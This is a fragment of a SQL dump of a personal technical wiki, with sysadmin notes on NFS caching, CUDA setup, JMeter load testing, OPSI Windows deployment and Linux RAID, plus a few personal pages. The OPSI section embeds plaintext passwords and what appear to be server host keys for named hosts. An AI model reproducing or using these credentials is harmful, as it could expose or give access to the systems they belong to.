'),(294,'limesurvey','  importing from ldap  '),(295,'setting up os mirrors','  centos  mirror list set up a cron job to rsync your version such as rsync -vaqzh --delete us-msync centos org centos 5 5 var www html centos rsync -vaqzh --delete mirrors usc edu centos 5 5 var www html centos to skip specified file or directories --exclude \' iso\' note the case on the spelling of centos may matter more info fancier way '),(296,'gmail and cpanel',' if you are setting up a domain in cpanel to use gmail see configuring your mx records cpanel and this site which has a bit more info basically you need to set mail in cname ghs google com mydomain com in mx 0 aspmx l google com use low ttls for these 300 is good also set remote mail exchanger in the bottom of the edit dns zone screen in cpanel '),(297,'iozone',' iozone a great introductory tutorial on iozone is here and another one here the manual with full documentation and definitions of the various tests performed can be found at sample run iozone -l 1 -u 1 -r 4k -s 100m -f var www iozone test tee -a iozone_web01_results_gplo2 txt & time iozone -r -l 1 -u 1 -r 4k -s 100m -f var www iozone test tee -a iozone_dev_results txt  graphing  the scripts to create graphs in gnuplot are generate_graphs which calls gengnuplot sh if you installed iozone from a package list the package contents to find where these were put you also should have a gnu3d dem or gnu3d dem gz too to configure gnuplot with your graphing preferences to make graphs and display them interactively use generate_graphs iozone_web01_results_auto txt once displayed in gnuplot you may rotate the graph axis zoom is controlled with the third mouse button push scroll wheel and then dragging the mouse note the default x and y access formatting uses autoscale which may use exponential notation to display integers you may add  set format x 3g   to gnu3d dem or the relevent graph in gnuplot dem gnuplot manual plotting gnuplot set zlabel kbytes sec gnuplot set data style lines warning deprecated syntax use set style data gnuplot set dgrid3d 80 80 3 gnuplot splot \'write iozone_gen_out gnuplot\' title write performance gnuplot quit  references   gnuplot references gnuplot references gnuplot references formatting '),(298,'nfs performance tuning','  testing tools  iozone iostat -n nfsstat -zc  nfs log tunables  echo 32767 proc sys sunrpc rpc_debug echo 65535 32767 proc sys sunrpc nfs_debug tail -f var log messages nfsstat -zc shows counters from zero see here alternative sysctl -w sunrpc rpc_debug 3 echo 3 proc sys sunrpc rpc_debug rpcdbg_ values in include linux sunrpc debug h define the bitmask of dprintk available  performance tuning  the above has a good section on performance tuning see section 5 1 on setting block size to optimize transfer speeds for details on tuning rsize and wsize settings  attribute caching  cdirmax acdirmin acregmax acregmin actimeo settings can be used to control cache time outs of attributs also the nocto mount option see a8 seems to dramatically reduce the getattr rpc calls  local nfs caching  on red hat instructions for debian required modules for lenny were included in the 2 6 30-1-amd64 kernel and the cachefilesd package was in testing you just need to build the nfs-utils package for nfs mounting to support the fsc option  books    sites   '),(299,'mysql bash scripts',' while php is great to use with mysql it can be a bit overkill for simple operations in such cases you might accomplish what you need with a bash script here is an example for pulling dns zones from a parallels hsp database pdns based root hsp # cat zonequery sh # bin bash # this takes a single domain name as an argument and queries the specified table to find # all zone file dns records for that zone # example zonequery sh mydomain com # # if you want to batch process using a file containing a list of domains # for i in cat missingzoneslist txt ; do zonequery sh missingzonesdump txt i; done # # pete eby # e solutions mysql aspc-apr-24-2010 an alternative is to look for all dns records by ip address then use this to create a list of the associated domain names pointing to that ip this list can then be fed into the above script to recreate complete zone files by domain for example zonequeryip sh 10 20 30 40 cut -f 1 zonedomainlist-10 20 30 40 txt for i in cat zonedomainlist-10 20 30 40 txt ; do zonequery sh zonedump-10 20 30 40 txt i; done root hsp # cat zonequery sh # bin bash # this takes a ip as an argument and queries the specified table to find # all zone file dns records for that ip # example zonequeryip sh 10 20 30 40 # # if you want to batch process using a file containing a list of ips # for i in cat ip-list txt ; do zonequeryip sh domainlist txt i; done # # pete eby # e solutions mysql aspc-apr-24-2010 '),(300,'apache jmeter load testing',' intro from the official site  apache jmeter is open source software a 100 pure java desktop application designed to load test functional behavior and measure performance it was originally designed for testing web applications but has since expanded to other test functions   while there are many web testing tools such as ab siege etc they have limitations they can only run from one host and there is no built in visualization tool to analyze the results jmeter address these limitation and provides a comprehensive testing environment a good general tutorial introducing basic concepts and creating a first test plan can be found here and another here note the first also covers distributed testing and creating a test plan by using a proxy server to create request lists etc installing installing installing download jmeter from here it will run on linux unix windows solaris etc and is a java application templates templates templates defined test plans are saved as xml files with jmx extenstions and they can easily be moved around results are also saved in xml with jtl extenstion here is an example of a test plan template with several thread groups i made for the kelby cluster with different reports for several sites etc media kelby jmx zip here is what the above test plan with the multiple thread groups for different sites jmeterrendered 600px thumb center example test plan multiple thread groups - viewing rendered results defining test threads defining test threads defining test threads you create a tree starting by adding a thread group right click on the beaker icon most likely you will then add an http request object right click on thread group add sampler http request similarly you can add reports under listeners and timers to simulate more realistic traffic see simple data writer section - it is very useful indeed the view results tree and graph results are good listeners to start with note you can save the html returned and view it rendered in the view results panel however this of course consumes considerable disk space and i o it can be good to run a short test with this enabled then turn it off you enable it by configuring the listener to save response data xml simple data writer simple data writer simple data writer trying to display results when a test is running can easily bring your test machine down to capture but not display data in real time add a simple data writer object to your test plan note i believe you need to add this to the top of the stack so that it has scope over all defined test threads see picture above scheduling scheduling scheduling tests can be run per a schedule by enabling the scheduler checkbox in the main screen of the thread group set the desired times and then run the test it will delay execution until the start time is reached per the official documentation   when using the scheduler jmeter runs the thread group until either the number of loops is reached or the duration end-time is reached - whichever occurs first note that the condition is only checked between samples; when the end condition is reached that thread will stop jmeter does not interrupt samplers which are waiting for a response so the end time may be delayed arbitrarily   distributed testing distributed testing distributed testing running jmeter on one host can easily run into bottle necks with the local system resources or network jmeter allows for controlling multiple remote clients and managing them through the gui a guide to setting this is can be found here and additional instruction can be found in the official documentation here you must define the remote hosts ip addresses in bin jmeter properties remote_hosts attribute note that to run jmeter-server your hostname must resolve to a real ip not to localhost otherwise you will receive error messages when starting the server such as with no ip set for hostname in etc hosts paracelsus serenity downloads jakarta-jmeter-2 3 4 bin jmeter-server created remote object unicastserverref liveref endpoint 42232 local objid -77eb9e12 129470bce49 -7fff -4973597432862858939 server failed to start java rmi remoteexception cannot start unable to get local host ip address when hostname is set to 127 0 0 1 paracelsus serenity downloads jakarta-jmeter-2 3 4 bin jmeter-server created remote object unicastserverref liveref endpoint 127 0 1 1 49876 local objid -50e93d31 1294710570d -7fff 5710415373589685264 server failed to start java rmi remoteexception cannot start serenity is a loopback address proxy server proxy server proxy server more information on setting up jmeter as a proxy for data collection to create a use case can be found here import apache log import apache log import apache log in addition jmeter allows you to import an apache access log and run tests using the traffic obtained from real-world production traffic see here for more information '),(301,'webserver benchmark tools',' jmeter jmeter is a great testing framework please see apache jmeter load testing seige seige seige siege -g -v -u this will grab and display headers flood flood flood also contains links to other testing tools at the end '),(302,'oak ridge national laboratory','  i intend to expand this section greatly in the future having had the opportunity to visit oak ridge i have a great appreciation for the tremendous caliber of this facility and its staff and will be creating a article to highlight some of the projects and research being conducted there for now please see the wikipedia article on the lab and of course the official ornl site oak ridge facility oak ridge facility oak ridge facility research  neutron science   environmental sciences  coming soon  national center for computational sciences  genomics genomics genomics doe uofc joint genome institute site parallel computing parallel computing parallel computing computational biology applications computational biology applications computational biology applications  prodigal  prodigal is gpl software for the rapid sequencing of microorganisms results fro prodigal can be found here which link to genbank sometimes it is easier to just search the whole genbank ftp base directory here  artemis  artemis is a java based application allowing for the visualization and annotation of sequences of any size in embl or genbank format trouble reading large genbank files with annotations see this faq  convert file formats  need to convert between sequence file formats no problem use don gilbertu8e28099s readseq which is available as a java app or can be used through a web interface here more info on what these formats are can be found here i found all the above info on this helpful post you can also try seqconv as another option which is part of the gcg application misc links misc links misc links jaguar jaguar jaguar '),(303,'home design ideas',' here are various ideas we have for integrating into future house designs home architectural ideas home architectural ideas home architectural ideas www dreamhomesource com tons of plans for all styles of homes queen anne and victorian plans are killer kitchen kitchen kitchen dinette area french country style board table painting rug barstools chairs for table fake wood beams bay window chandelier more country style kitchen proper tintype tile paint tiles meanwhile island power with wheels or with gliders under feet island could be 42 long and 22ish wide garbage can with lid pot hanger future kitchen exposed wood beams skylight making windows in cabinets new stove top burner basins knick-knacks --cast iron copper wrought iron exposed wood currently cabinets are at 36 high dining tables etc baker baker\'s rack matching table french country kitchen dining table cottage style bathroom bathroom bathroom irish moss marble featured in this magazine article this material apparently supplied by mint green marble is listed on the site which may or may not be the same material they also sell bioglass which looks awesome too catio catio catio cat haven catioshowcase com '),(304,'nvidia cuda',' cuda cuda cuda you most likely have some idea of what cuda is all about or you wouldn\'t be here but for a general introduction see in short cuda provides a language cuda c compiler sdk and run time environment to allow you to write general purpose c code which is executed in a massively parallel manner by taking advantage of the capabilities of nvidia gpus it is actually quite easy to write code for and requires only a basic or intermediate level proficiency with c programming and does not require any knowledge of opengl or other graphics languages whatsoever if you have an nvidia 8 series or newer card including many mobile chipsets it most likely supports cuda and you can start writing parallel code to run on the device more easily than you may realize it is sitting there quietly waiting for you to dive in and take advantage of it opencl opencl opencl in comparison to nvidia nvidia\'s cuda there is also opencl newer nvidia gpus when using the correct drivers also support opencl nvidia is one of the companies developing opencl and you can find more information and driver at the nvidia opencl page amd also supports opencl and describes the implementation of the language at a short tutorial in opencl can be found here you can use the gpu caps utility to see if your gpu supports opencl tutorials tutorials tutorials here is a good cuda intro tutorial of course there is also the official programming guide as a definitive reference i would also recommend  cuda by example an introduction to general purpose gpu programming  by jason sanders and edward kandrot as an excellent way to get started i am reading this now and find it quite helpful additionally there are of course the sdk code examples you can download and get started with immediately cuda sdk 3 2 update cuda sdk 3 2 update cuda sdk 3 2 update update i just did a fresh install of suse 11 3 64-bit and the new cuda sdk 3 2 and found the following issues unfortunately the cuda sdk 3 2 release notes do not include the same mention of the missing symlinks as do the 3 1 release notes follow the procedure in the 3 1 notes which is also described below while i had hoped the new cuda sdk 3 2 would be compatible with gcc 4 5 it is not as described in this nvidia forum thread you will still need to install and configure gcc43 and gcc43-g as alternatives as described below in the section gcc version issues several x11 development libraries are required on suse 11 3 install these and their dependencies with the following zypper install libxi6-devel libxmu-devel xorg-x11-libxmu-devel xorg-x11-libxext-devel  make errors   the error 86_64-suse-linux bin ld cannot find -lx11 is caused from a missing xorg-x11-libxext-devel errors like iomanip 64 error expected an expression are likely from using an incompatible version of gcc like 4 5 this is best resolved by installed gcc43 as an alternative below or as described on the nvidia post a simple workaround to compiling the rest of the sdk would be to remove the folder interval from the sdk sdk\'s src folder and put it somewhere in your home directory where you will remember it later the complete list of programs that don\'t compile from the 3 2 sdk with gcc 4 5 1 are interval sobelfilter functionpointers errors regarding ac_prog_libtool can be solved by installing libtool the remaining setup for sdk 3 2 is as given for the previous version install compile issues install compile issues install compile issues firstly follow the very detailed getting started linux guide to get your development environment setup the documentation is quite good and provides all the basic info on installing the nvidia driver the cuda toolkit and sdk and setting up your paths for locating the binaries and libraries all required files are available on the cuda downloads page note ensure your nvidia driver meets or exceeds the version required by the sdk the version in your distro distro\'s restricted driver non-oss repository may not be sufficient i recommend installing the nvidia driver from the cuda downloads area to prevent any potential trouble  missing symlinks  applies to red hat centos opensuse etc it is important to read the sdk 3 1 sdk release notes - really stop now and read them you will fine under section iii b known issues on cuda sdk for linux that often there are a few key libraries which need to have symlinks created so the linker can find them in my case this was required for libglut and libglu if missing you will see errors such as usr bin ld cannot find -lglut usr bin ld cannot find -lglu in either case create the required symlinks #ln -s usr lib libglut so 3 usr lib libglut so #ln -s usr lib libglu so 1 usr lib libglu so #ln -s usr lib libx11 so 6 usr lib libx11 or usr lib64 if running 64-bit if no write access to usr lib create in another location and modify -l in makefile or add the path to the symlink to etc ld so conf and run ldconfig if you get a linking error cannot find -lcuda then create this additional symlink your library version may vary slightly #ln -s usr lib libcuda so 256 35 usr lib libcuda so  compiling order - do what the guide says  being an eager beaver i decided to just compile the devicequery program first to make sure everything was working this was a bad decision as it like many others requires shared objects which had not been created yet as a result i was getting compile errors such as paracelsus callandor nvidia_gpu_computing_sdk c src devicequery make devicequery cpp 126 11 warning extra tokens at end of #else directive devicequery cpp 135 11 warning extra tokens at end of #else directive usr lib gcc i586-suse-linux 4 5 i586-suse-linux bin ld cannot find -lcutil_i386 collect2 ld returned 1 exit status make bin linux release devicequery error 1 i resolved this by compiling in this order paracelsus callandor nvidia_gpu_computing_sdk c common make paracelsus bob nvidia_gpu_computing_sdk shared make paracelsus callandor nvidia_gpu_computing_sdk c src devicequery make the real solution though oddly enough is to do what the getting started guide said   you should compile them all by changing to nvidia_gpu_computing_sdk c in the useru8cab9s home directory and typing make the resulting binaries will be installed under the home directory in nvidia_gpu_computing_sdk c bin linux release  so just compile them all and avoid such problems paracelsus callandor nvidia_gpu_computing_sdk c make  gcc version issues  for opensuse 11 3 fedora 13 ubuntu 10 04 etc if you are running a distro newer than the latest release of the cuda toolkit and sdk then your versions of gcc and glibc may be newer and not compatible this is generally resolveable by installing the earlier versions and setting up your system to allow easy selection of which version to compile with on my opensuse 11 3 install i used the following links to implement the solution which follows bob # gcc --version gcc suse linux 4 5 0 20100604 gcc-4_5-branch revision 160292 ### too new does not allow code examples to compile use yast to install gcc43 gcc43-c gcc43-info and any required dependencies my packages are as follows bob # rpm -qa grep gcc gcc-4 5-4 2 i586 gcc45-info-4 5 0_20100604-1 12 noarch gcc43-4 3 4_20091019-3 1 i586 libgcc45-4 5 0_20100604-1 12 i586 gcc-info-4 5-4 2 i586 gcc45-4 5 0_20100604-1 12 i586 gcc43-c -4 3 4_20091019-3 1 i586 libstlport_gcc4-4 6 2-6 1 i586 gcc-c -4 5-4 2 i586 gcc43-info-4 3 4_20091019-3 1 i586 gcc45-c -4 5 0_20100604-1 12 i586 now set up both versions so you can easily select which one is the default bob #sudo update-alternatives --install usr bin gcc gcc usr bin gcc-4 3 60 --slave usr bin g g usr bin g -4 3 bob #sudo update-alternatives --install usr bin gcc gcc usr bin gcc-4 5 40 --slave usr bin g g usr bin g -4 5 bob # update-alternatives --config gcc there are 2 alternatives which provide gcc\' selection alternative ----------------------------------------------- 1 usr bin gcc-4 3 2 usr bin gcc-4 5 press enter to keep the default or type selection number 1 using \' usr bin gcc-4 3\' to provide \'gcc\' bob # gcc --version gcc suse linux 4 3 4 gcc-4_3-branch revision 152973 ## you are now set to use cuda with sdk version 3 1 os x os x os x some os x opencl documentation is here cuda vs opencl cuda vs opencl cuda vs opencl gpu caps viewer gpu caps viewer gpu caps viewer this utility polls gpus and returns the device capabilities this utility can run under wine on linux as well at least as of version 1 7 now what now what now what so what else can you do with cuda what applications exist out there to sink the teeth of your gpu into well the list is growing all the time but i\'ve started a page where i\'ll be adding some too as i discover them and you can find it at cuda applications check out cuda data parallel primitives library - cudpp explore the cuda performance profiler virtualgl virtualgl virtualgl if you wish to view opengl simulations remotely you will quickly discover that opengl is actually rendered on the client although the computations may be done on the remote system all rendering commands are sent to the client to be displayed locally essentially killing performance virtualgl provides a solution to this by rendering results on the server storing them in a pixel buffer and transferring that to the client it does so in a clever way by attaching a loadable module to the binary run which intercepts the opengl calls and redirects them locally see the official virtualgl site for complete details there is also some useful information in this sun documentation and this nvidia forum thread the newest version does not require the libjpeg-turbo there are several steps required to configure x so see the install guide prior to trying the below commands to start a vgl forwarded ssh connection from the client opt virtualgl bin vglconnect -force paracelsus 10 100 10 48 then start the opengl app on the server with vglrun paracelsus bob cd nvidia_gpu_computing_sdk c bin linux release paracelsus bob nvidia_gpu_computing_sdk c bin linux release opt virtualgl bin vglrun oceanfft overclocking overclocking overclocking provides basic overclocking capabilities though newer cards may not be supported unfortunately the prospects of porting other overclocking tools such as evga evga\'s precision utility are not showing much promise at this time this does not run under wine and a linux implementation is not planned per this post the qt version seems to be broken in configure but the gtk version compiles fine command line and gtk versions binaries are nvclock0 8b4 src gtk nvclock_gtk nvclock0 8b4 src nvclock language bindings language bindings language bindings looking for more ways to leverage cudas capabilities from other languages try these resources books books books programming massively parallel processors a hands-on approach isbn-13 978-0123814722 cuda by example an introduction to general-purpose gpu programming isbn-13 978-0131387683 scientific computing with multicore and accelerators isbn 978-1-4398253-6-5 '),(305,'bar codes',' data matrix codes data matrix codes data matrix codes home of the libraries necessary to decode encore data matrix codes vi the utilities dmtxquery dmtxread dmtxwrite qr codes qr codes qr codes create one using the google api like 1&choe utf-8 decode them using the qr decoder '),(306,'pete workstation specs',' evga geforce gt 220 ftw video card - 1024mb ddr3 pci-express 2 0 dvi hdmi vga cuda capable item number e145-0224 64 tiger until 31 july reg 99 48 cores evga 512-p3-1242-lr geforce gt 240 superclocked 512mb 128-bit gddr5 pci express 2 0 x16 hdcp ready video card w hdmi 110 new egg 74 99 until 2 aug tigerdirect 96 cores evga geforce gtx 260 core 216 superclocked video card - 896mb gddr3 pci express 2 0 x16 sli ready dual link dual dvi hdtv vga support 184 tiger until 31 july reg 224 i5 750 lynnfield 2 66ghz quad core 8mb l3 199 intel core i7-860 lynnfield 2 8ghz 8mb l3 cache lga 1156 95w quad-core processor bx80605i7860 289 newegg tiger evga p55ftw 133 200 159 tiger - 229 newegg until 2 aug g skill ripjaws series 4gb 2 x 2gb 240-pin ddr3 sdram ddr3 1600 pc3 12800 desktop memory model f3-12800cl9d-4gbrl 99 new egg g skill pis series 4gb 2 x 2gb 240-pin ddr3 sdram ddr3 2200 pc3 17600 desktop memory model f3-17600cl7d-4gbpis 159 newegg g skill pis series 4gb 2 x 2gb 240-pin ddr3 sdram ddr3 2000 pc3 16000 desktop memory model f3-16000cl6d-4gbpis 179 newegg '),(307,'nfs cache install',' these are rough notes of how to install nfs caching consisting of using a kernel with the necessary configs the required kernel module fscache building nfs-utils to support the new mount option and configuring etc fstab and the nfs mounts some reference sites for nfs performance tuning see  kernel requierments  newer kernels will have the kernel module and other options set by default but if you have trouble verify your kernel config has the following for ext3 web01 # grep config_fscache boot config-2 6 30-1-amd64 config_fscache m config_fscache_stats y # config_fscache_histogram is not set # config_fscache_debug is not set web01 # grep config_cachefiles boot config-2 6 30-1-amd64 config_cachefiles m # config_cachefiles_debug is not set # config_cachefiles_histogram is not set web01 # grep config_nfs_fscache boot config-2 6 30-1-amd64 config_nfs_fscache y for jfs web01 # grep -i jfs boot config-2 6 30-1-amd64 config_jfs_fs m config_jfs_posix_acl y config_jfs_security y # config_jfs_debug is not set # config_jfs_statistics is not set installing and configuring installing and configuring installing and configuring and the actual steps to install and config # this is a record of the steps to install nfs caching on one of kelby kelby\'s debian webservers # the 2 6 30 kernels already have the cachefs kernel module so you just need to build # a new version of nfs-utils that supports the fsc mount option # additionally please make sure that fstab include the fsc mount option for the nfs mount s and # the user_xattr for where the cache is held var cache fscache if using ext3 jfs does not require this # and is implicitly uses xattr # apt-get install sysstat 265 sed -i s \'enabled false \' \'enabled true \' etc default sysstat 298 vim etc apt sources list add the testing repo deb testing main non-free contrib deb-src testing main non-free contrib 300 apt-get update 301 apt-get install cachefilesd if using a kernel 2 6 30 304 uname -a 307 apt-get install linux-image-amd64 ensure you have the kernel module loaded 311 vim boot grub menu lst #make sure new kernel is default 312 reboot 314 uname -a #you\'re running the new one right 315 modprobe fscache 316 lsmod grep fscache build the new version of nfs-utils 318 apt-get build-dep nfs-utils 327 apt-get install nfs-utils 332 apt-get source nfs-utils 335 cd nfs-utils-1 2 2 336 dpkg-buildpackage 337 ls 338 cd 339 ls 340 dpkg -i nfs- deb now that you are done with them remove the testing repos from apt - not a good idea to lave them in there configure your nfs mounts in etc fstab see notes above re mount options for ext3 vs jfs for nfs mounts get the fsc option example dev md2 on type ext3 rw errors remount-ro user_xattr 10 0 0 1 export sites content on var www type nfs rw noatime rsize 32768 wsize 32768 intr fsc vers 4 addr 10 0 0 1 clientaddr 10 0 0 27 set up caching and monitor it - var cache fscache should start filling up 341 ls var cache fscache #should exist 342 vim etc cachefilesd conf #cache settings 343 etc init d cachefilesd start 347 etc init d apache2 stop 348 umount var www 355 vim etc fstab #edit as above 356 umount var www 363 mount -o remount to enable user_xattr for ext3 omit for jfs or just reboot 364 etc init d cachefilesd start 365 mount -a 366 mount #check it and ensure it remounted with csf flag dmesg if any issues come up 368 etc init d apache2 start 370 du -sh var cache fscache #it should start filling up 375 history cachefsinstall txt '),(308,'opsi install manager',' documentation the above are pretty good guides - check them out the manual is very extensive covering creating packages the api available etc this one is a pretty rough translations from the german in places but they step you through setting up the server and a test client os install difficult to follow but still valuable note that there are areas of the gui and metadata in packages which are at this time only in german see this post for info on making localization changes to packages you can make your own software packages using whatever language of a product firefox cf engine etc you like so this is not really that big of an issue then there is this odd mozilla reference platform guide to installing opsi install cd install cd install cd root password for pxe boot images and install cd linux123 install methods vmware appliance appliance style install cd or do it from scratch and install packages etc i recommend just using the debian install cd downloaded from the official site however this too has some issues a lot of it is in german but you can certainly change most of that with env settings etc you still have to manually configure things like dhcp and such as needed  install cd  change the language en in the grub boot screen or you will get installer in german once the install completes the same goes for the gdm login just change the language to english after first reboot if you drop into busybox with no root device found just change argument in grub as appropriate such as root dev sda2 etc  setup  from command line run 1stboot py default language is german edit usr local bin 1stboot py country environment variable near the top and change from de to eu  locale settings  show available locales opsi home opsiproducts# locale -a c de_de utf8 en_us utf8 posix set to english opsi home opsiproducts# export lang en_us utf8 opsi home opsiproducts# locale opsi interface opsi interface opsi interface or ssh with -x and run opsiconfd credentials for stuff credentials for stuff credentials for stuff  mysql  opsi # mysql -u opsi -popsi  install cd pxe boot environment  root linux123  various accounts etc   pcpatch adminuser root etc current support pw  ldap  not loaded drivers drivers drivers there are several driver related scripts in the install directory for each os see section  3 2 10 simplified driver integration with symlinks  of the install manual note you might want to run these as user pcpatch see note below on permissions  download & install  download driver packs from extract the downloaded drivers from all 7z files you now have opsi opt pcbin install win2003# extract_driver_pack py opt pcbin install win2003 lather rinse repeat for all the driver packs you need if trouble see this post  create driver links  when done you must run create_driver_links py opsi opt pcbin install win2003# create_driver_links py parsing inf files 1312 1312 3132_sb inf  show client drivers  show all the drivers installed for a specific client opsi opt pcbin install win2003# show_drivers py test clearly shows which drivers are available or not in a color coded output very easy  drivers not found  if show_drivers py hostname says the drives are present but when installing they are not found then make  absolutely  certain ownership and permissions are correct of the drivers drivers d and  all  other directories if you ran extract_driver_pack py as root then they are going to be wrong opsi opt pcbin install win2003 drivers drivers# chmod -r ug rwx opsi opt pcbin install win2003 drivers drivers# chown -r opsiconfd pcpatch opsi opt pcbin install win2003 drivers drivers# chmod -r ug rw opsi opt pcbin install win2003 drivers drivers# ls -l  ms driver distribution  another way to export drivers is to create a distribution share as described here this method is a tip from the unattended project note that this apparently simply results in these drivers being copied over and not fully integrated into hardware detection etc but it sill may prove helpful in some cases  under the i386 folder on the distribution point create a folder named oem under that folder create a folder named 1 yes really windows setup will copy everything below the 1 folder to the systemdrive normally c during installation see microsoft microsoft\'s description of the distribution share for the gory details you may put your driver folder anywhere you like under the 1 folder and you may add as many driver folders as you like the install pl script will automatically scan for all driver folders and offer to add them to the oempnpdriverspath setting in the unattend txt file for you   we might integrate something like this in opsi and have it add these paths to unattend txt as stated in the above note the above is not from opsi but from another project key management key management key management to set the key for a specific client in the gui select the client then netboot product tab where you can change the product key field in the product switches panel lower right hand corner the default key for each os can be read and set using opsi # opsi-admin -d method getproductproperties_hash win2003 productkey xxxxx-xxxxx-xxxxx-xxxxx-xxxxx additional_drivers i386_dir i386 askbeforeinst true orgname orgname fullname name store_i386 false to set opsi-admin -d method setproductproperty win2003 productkey abcde-fghij-klmno-qrtuv-wxyz1 software distribution software distribution software distribution please see the official manual for details you can create your own scripts to install products with and this is shown in the documentation see the example for installing tightvnc in section 6 2 1 7 there is a template provided opsi-template ins for easily creating your own product installs to use existing opsi packages from the official download site wget them into home opsiproducts and install with opsi-package-manager -i betz-firefox_3 0 0 4-1 opsi you may then choose the client and package to install in the gui product will be installed on next reboot  on demand installs  to install a package in real time without a reboot use usr share opsi opsi-fire-event py hostname domain tld on_demand  integrating existing clients  note that you can install the prelogin loader on an existing os by mounting the smb share in windows connect to opsi server ip authenticate as adminuser and execute opt_pcbin install preloginloader service_setup cmd the prelogin loader will already be installed if you installed the os via opsi this is the facility which allows packages to be installed onto clients through opsi this starts the opsiclied service at boot time unattended txt unattended txt unattended txt inside the i386 folder you will find an unattended txt file you can designate various install time configs here hey - kickstart for windows well not that good but still - see the above link for options and syntax it is possible we might make this file dynamically generated so the config options can be specified through opsi or a simple web interface or parser script like ks esnet com etc importing the i386 folder importing the i386 folder importing the i386 folder there are already opsi packages installed for most variants of windows you then copy over the i386 folder change permissions integrate the drivers and it is ready to then be installed something like cd opt pcbin install winxppro cp -rpva media cdrom i386 chmod -r ug rw i386 chown -r opsiconfd pcpatch i386 opsi opt pcbin install winxppro# chmod -r ug rw drivers opsi opt pcbin install winxppro# chown -r opsiconfd pcpatch drivers now integrate the drivers just pointing the script to the 7z files in the 2003 directory which will extract them into the local drivers location chown opsiconfd pcpatch win2003 dp_ su pcpatch extract_driver_pack py opt pcbin install win2003 create_driver_links py du -sh drivers your local driver directory should now be ready to go if you have trouble you can delete drivers and start over when run create_driver_links py in an directory with only the extracted drivers it will actually create the pciids and other directories and download new id files etc permissions are almost always the reason behind drivers not being detected for a client server setup info server setup info server setup info pckeys pckeys pckeys i had to manually create a key for the server in etc opsi pckeys as it was never created and other commands would error out due to this opsi esnet com ea52d6c8d5b1520eb1cced8ba1c8c009 opsi-test esnet com af088b048e3c977e8973041950ad99e0 dhcp dhcp dhcp vim etc dhcp3 dhcpd conf # option definitions common to all supported networks option domain-name esnet com ; option domain-name-servers ns1 esnet com ns2 esnet com; # no service will be given on this subnet but declaring it helps the # dhcp server to understand the network topology subnet 10 100 10 0 netmask 255 255 255 0 # this is a very basic subnet declaration subnet 192 168 1 0 netmask 255 255 255 0 range 192 168 1 2 192 168 1 254; option routers 192 168 1 1; next-server 192 168 1 1; server-name 127 0 0 1 ; filename linux pxelinux 0 ; tftpd tftpd tftpd tftp port 69 is controlled by the opsi-atftpd package with the config file in etc init d opsi-atftpd path usr local sbin usr local bin sbin bin usr sbin usr bin daemon usr sbin atftpd name atftpd desc advanced trivial ftp server use_inetd true #use_inetd false options pxe menu pxe menu pxe menu the pxe menu is dynamically configured by opsi to boot the client to the requested environment memtest hwinventory os install et c using symlinks in the pxelinux cfg directory to manually get a pxe boot menu for a client change the symlink so it points to default menu instead of default nomenu etc opsi tftpboot linux pxelinux cfg# ln -s default menu default you can change lang en for english for the pxe client in default menu too troubleshooting troubleshooting troubleshooting  config info  select help backend config from the configuration editor gui for a list of config settings  smb mount error  are you getting this error when the client pxe boots cannot mount command failed 65280 mount error 13 permission denied refer to the mount cifs 8 manual page eg man mount cifs config info if so set the pw for pcpatch opsi-admin -d task setpcpatchpassword logging logging logging the client install logs to the following location but only when it exits # tail -f var log opsi bootimage test esnet com log there is also an opsiconfd directory where messages are logged by the system '),(309,'technical article index',' this wiki contains a number of articles written for a variety of purposes and audiences some are complete instructional or reference articles others are outlines of future articles for publication and some are simply rough notes and my personal note book below is an index of several articles highlighting examples of technical writing or documentation articles i commonly document all manner of processes and research which occur in the day to day functions of my position and these intended to be demonstrative for those interested in such samples  technical documentation examples  normally written for noc staff tier i ii engineers end users etc as such an informal rather than academic style is typically used to engage the intended reader more high server loads and you ipmi configuration and monitoring ipmi console access smart drive diagnostics smart rewriting bad sectors ocsng inventory management  informal how to articles  nvidia cuda rpm install timeline report lustre distributed file system linux hardware repair - a class  informational articles  opensolaris crafty chess compiler benchmarks '),(310,'update alternatives','  how tos  here are a couple sites with info on using and configuring update-alternatives for various apps  java  there are several handy ways to update alternative for java versions default mail server and other things here is a list of some useful ones update-alternatives --config java  set your default browser  ubuntu sudo update-alternatives --config x-www-browser '),(311,'smart database',' acknowledgment thanks to dan thomas a friend of mine and fellow student at spc who created this php based web interface and database for the smarttest script we are using this with his permission his intention is to make a collaborative open source project out of this which people could contribute test results to creating a huge database which trending information could be generated from etc smarttest database smarttest database smarttest database when you run smarttest sh in addition to reporting the results on screen it also sends the output to a database on ks esnet com this database contains all the tests which have been run it has several uses allowing you to see the entire test history for a drive by serial number see what drives have recently been tested determine a drives performance characteristics over its life cycle help show which models and sizes are more prone to failure have better performance etc helps ensure the correct results label is put onto the right drive additionally you can easily copy the results of a test which was just completed and simply paste it into a label printing application which greatly speeds up making labels for example here is the formatted output for one result smart test 07 13 10 wd-wcanm8241026 size 164 gb hours 1191 errors 0 reallocated pending 0 0 speed 61mb s pe web interface web interface web interface old sago one you can pass how many results to return by using the links or simply changing the number value in the url technical stuff technical stuff technical stuff the smarttest sh bash script relies on the hdparm smartctrl and lynx binaries being on the system which is the case with rip linux and system rescue cd live environments if testing a generic centos or debian box you may need to install respective packages for these you will find all of the files for this in var www html smart on the cobbler server 208 38 164 4 once completed the results are passed to import php on smart esnet com which accepts posted variables parses them and inserts the information into the database named harddrive there are a few versions of the import php script it was previously called from cron and parsed files which were ftp\'ed or scp\'ed to the server it was later rewritten to simply use posted variables although simpler this also permits direct data input into the database '),(312,'diving sites and operators',' diving operators  florida  a great restaurant in marathon  south carolina   tennessee  diving equipment diving equipment diving equipment '),(313,'linux raid management',' reference sites reference sites reference sites a couple of good general raid management sites troubleshooting troubleshooting troubleshooting are you getting an error saying the dive you are trying to add does not have enough space such as fooweb # mdadm dev md0 -a dev sdb1 mdadm dev sdb1 not large enough to join array of course you have to ensure the drive is in fact equal too or greater in size - not all 500gb drives are the same so use hdparm and compare the chs and addressable sectors values of both drives sudo hdparm -i dev sdb if you are still getting the above error it may be that different versions of mdadm were used to create the raid originally in which case it may now be trying to reserve more space for the bitmap man md for more info you may need to specify a flag such as --metadata 0 90 see this post lastly double check and make  absolutely  certain you are trying to add the correct partition to the correct dev mdx array are you trying to accidentally add a small boot to the array for example check what block devices the array is using with mdadm --detail dev md0 is the partition of the block device you are adding the same at that used by other members in the array already misc mdadm commands misc mdadm commands misc mdadm commands don\'t blindly run these - they are just examples mdadm --assemble dev md0 dev sdc1 dev sdd1 dev sde1 dev sdf1 dev sdg1 dev sdh1 dev sdi dev sdj1 dev sdk1 dev sdl1 dev sdm1 dev sdo1 mdadm --assemble --update summaries dev md0 dev 